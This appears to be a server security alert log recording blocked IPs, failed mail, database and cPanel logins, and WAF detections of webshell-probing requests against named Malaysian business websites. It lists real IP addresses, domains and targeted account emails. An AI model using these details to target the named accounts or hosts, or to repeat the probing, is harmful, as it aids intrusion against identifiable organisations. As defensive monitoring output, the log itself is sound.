country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=10 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.135.196.208
country_id: 2510769
description:
Jan 21 03:43:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.135.196.208 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.160.228.44
country_id: 1562822
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/inhouse.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 03:45:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 180.95.238.5
country_id: 1814991
description:
2026-01-21  3:45:48 446027 [Warning] Aborted connection 446027 to db: 'unconnected' user: 'unauthenticated' host: '180.95.238.5' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.252
country_id: 3469034
description:
Jan 21 03:48:27 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.252 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.223.3.73
country_id: 1269750
description:
Jan 21 03:48:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.223.3.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.99.67
country_id: 3469034
description:
Jan 21 03:48:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.99.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.223.3.73
country_id: 1269750
description:
Jan 21 03:49:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.223.3.73 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 182.119.230.205
country_id: 1814991
description:
2026-01-21  3:49:44 446134 [Warning] Aborted connection 446134 to db: 'unconnected' user: 'unauthenticated' host: '182.119.230.205' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 60.13.7.5
country_id: 1814991
description:
2026-01-21  3:54:49 446297 [Warning] Aborted connection 446297 to db: 'unconnected' user: 'unauthenticated' host: '60.13.7.5' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 220.167.233.59
country_id: 1814991
description:
2026-01-21  3:54:49 446288 [Warning] Aborted connection 446288 to db: 'unconnected' user: 'unauthenticated' host: '220.167.233.59' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 36.106.167.175
country_id: 1814991
description:
2026-01-21  3:54:35 446279 [Warning] Aborted connection 446279 to db: 'unconnected' user: 'unauthenticated' host: '36.106.167.175' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 110.177.178.216
country_id: 1814991
description:
2026-01-21  3:54:36 446282 [Warning] Aborted connection 446282 to db: 'unconnected' user: 'unauthenticated' host: '110.177.178.216' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 220.167.232.35
country_id: 1814991
description:
2026-01-21  3:54:40 446283 [Warning] Aborted connection 446283 to db: 'unconnected' user: 'unauthenticated' host: '220.167.232.35' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 03:58:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.241
country_id: 2510769
description:
Jan 21 04:00:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.241 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.227.63.227
country_id: 2921044
description:
Jan 21 04:01:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.227.63.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.227.63.227
country_id: 2921044
description:
2026-01-21 04:01:04 dovecot_plain authenticator failed for H=([212.227.63.227]) [212.227.63.227]:63078: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/malaysia-infinity-design-projects/residential/images/team.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 04:03:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.75
country_id: 3175395
description:
Jan 21 04:04:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 21 04:04:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.155
country_id: 2782113
description:
2026-01-21 04:07:16 dovecot_login authenticator failed for H=(localhost) [156.146.60.155]:48676: 535 Incorrect authentication data (set_id=info@visoft.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 04:07:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 147.53.115.163
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-07.147.53.115.163||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 04:08:05 H=([45.144.212.242]) [45.144.212.242]:56235 F=<kamal@sunnyseafoodtrade.com> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.155
country_id: 2782113
description:
2026-01-21 04:09:00 dovecot_login authenticator failed for H=(localhost) [156.146.60.155]:20656: 535 Incorrect authentication data (set_id=info@chs.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.31.40.212
country_id: 290557
description:
Jan 21 04:09:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.31.40.212 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.31.40.212
country_id: 290557
description:
2026-01-21 04:09:08 dovecot_login authenticator failed for H=([5.31.40.212]) [5.31.40.212]:41638: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/img/photos/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.115.148
country_id: 1269750
description:
Jan 21 04:11:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.115.148 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.74.56
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-11.92.71.74.56||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.73.190.98
country_id: 1835841
description:
Jan 21 04:12:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.73.190.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-21 04:12:53 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:48916: 535 Incorrect authentication data (set_id=gabriela_faulkner@sutsb.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.65.142.65
country_id: 798544
description:
Jan 21 04:13:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.65.142.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.73.190.98
country_id: 1835841
description:
Jan 21 04:13:24 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.73.190.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-21 04:13:26 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:50552: 535 Incorrect authentication data (set_id=gabriela_faulkner)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.204.105.42
country_id: 3469034
description:
Jan 21 04:14:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.204.105.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.51.26.198
country_id: 1269750
description:
2026-01-21 04:15:00 dovecot_login authenticator failed for H=([103.51.26.198]) [103.51.26.198]:55182: 535 Incorrect authentication data (set_id=nurhidayati@essemgroup.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.51.26.198
country_id: 1269750
description:
Jan 21 04:14:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.51.26.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 21 04:18:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/m.me/images/index.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 04:20:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/commercial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.70.24.17
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/hotel/9/179/920078 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.56
country_id: 6252001
description:
2026-01-21  4:21:38 448419 [Warning] Aborted connection 448419 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.56' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 156.146.60.144
country_id: 2782113
description:
Jan 21 04:21:43 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 156.146.60.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.144
country_id: 2782113
description:
2026-01-21 04:21:45 dovecot_login authenticator failed for H=(localhost) [156.146.60.144]:12181: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.247
country_id: 3469034
description:
Jan 21 04:23:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.247 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.174.72.38
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=603677 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.94.232.78
country_id: 3437598
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/hamcrest/hamcrest-php/generator/FactoryMethod.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/malaysia-infinity-design-projects/images/home/press.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.144
country_id: 2782113
description:
2026-01-21 04:25:02 dovecot_login authenticator failed for H=(localhost) [156.146.60.144]:5447: 535 Incorrect authentication data


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.245.219.73
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=18981526630381 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 04:29:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.25.59
country_id: 690791
description:
Jan 21 04:30:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.25.59 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 93.170.53.42
country_id: 690791
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/03_01_e.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.183.140.172
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=83041514882427 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.94.101
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2019-Old-WTP-of-The-Oya-Water-Supply-Scheme-Sri-Lanka/penstock-ancillary-engineering-wtp-oya-sri-lanka-08.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.16.232.57
country_id: 1562822
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/01_a_03.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 38.154.197.143
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-37.38.154.197.143||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/home/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.2
country_id: 732800
description:
Jan 21 04:40:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.25.4
country_id: 798544
description:
Jan 21 04:40:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.25.4 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.239.211.190
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2019-Old-WTP-of-The-Oya-Water-Supply-Scheme-Sri-Lanka/penstock-ancillary-engineering-wtp-oya-sri-lanka-07.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.25.4
country_id: 798544
description:
Jan 21 04:41:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.25.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 04:42:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.176.56.1
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=562301 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.228.205.131
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/event-dispatcher/Tests/AbstractEventDispatcherTest.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.129.206.200
country_id: 3469034
description:
Jan 21 04:44:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.129.206.200 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.116.146.109
country_id: 953987
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.115
country_id: 3469034
description:
Jan 21 04:44:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.78.89.56
country_id: 298795
description:
Jan 21 04:44:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.78.89.56 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.25.33
country_id: 798544
description:
Jan 21 04:44:54 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.25.33 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.25.33
country_id: 798544
description:
Jan 21 04:45:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.25.33 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 198.12.46.105
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/monolog/monolog/tests/Monolog/Handler HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.169.220.216
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/monolog/monolog/tests/Monolog/Handler/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.239.36.84
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2019-Old-WTP-of-The-Oya-Water-Supply-Scheme-Sri-Lanka/penstock-ancillary-engineering-wtp-oya-sri-lanka-02.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.4.16.0
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Bhashanchar-Land-Side-Drainage/penstock-bhashanchar-06.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 04:47:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.92.154.223
country_id: 1210997
domain: agsaintifik.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/agsaintifik.com.my/superior-marienfeld/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 04:51:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.61.10.183
country_id: 3865483
description:
Jan 21 04:51:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.61.10.183 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.161.35.158
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Bhashanchar-Land-Side-Drainage/penstock-bhashanchar-07.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.221.185.87
country_id: 6290252
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/01_a_04.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 42.108.29.86
country_id: 1269750
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=97541516780250 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 31.97.220.132
country_id: 1643084
description:
2026-01-21  5:01:14 450553 [Warning] Aborted connection 450553 to db: 'unconnected' user: 'unauthenticated' host: '31.97.220.132' (This connection closed normally without authentication)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 31.97.220.132
country_id: 1643084
description:
2026-01-21  5:01:15 450559 [Warning] Aborted connection 450559 to db: 'unconnected' user: 'unauthenticated' host: '31.97.220.132' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 05:04:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.227.206.84
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2019-Old-WTP-of-The-Oya-Water-Supply-Scheme-Sri-Lanka/penstock-ancillary-engineering-wtp-oya-sri-lanka-10.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 31.97.220.132
country_id: 1643084
description:
2026-01-21  5:06:15 450739 [Warning] Aborted connection 450739 to db: 'unconnected' user: 'unauthenticated' host: '31.97.220.132' (This connection closed normally without authentication)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 31.97.220.132
country_id: 1643084
description:
2026-01-21  5:06:15 450747 [Warning] Aborted connection 450747 to db: 'unconnected' user: 'unauthenticated' host: '31.97.220.132' (This connection closed normally without authentication)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.23.179.22
country_id: 2921044
description:
[2026-01-21 05:07:38 +0800] info [webmaild] 203.23.179.22 - payment@tujusetia.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/home/druma.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
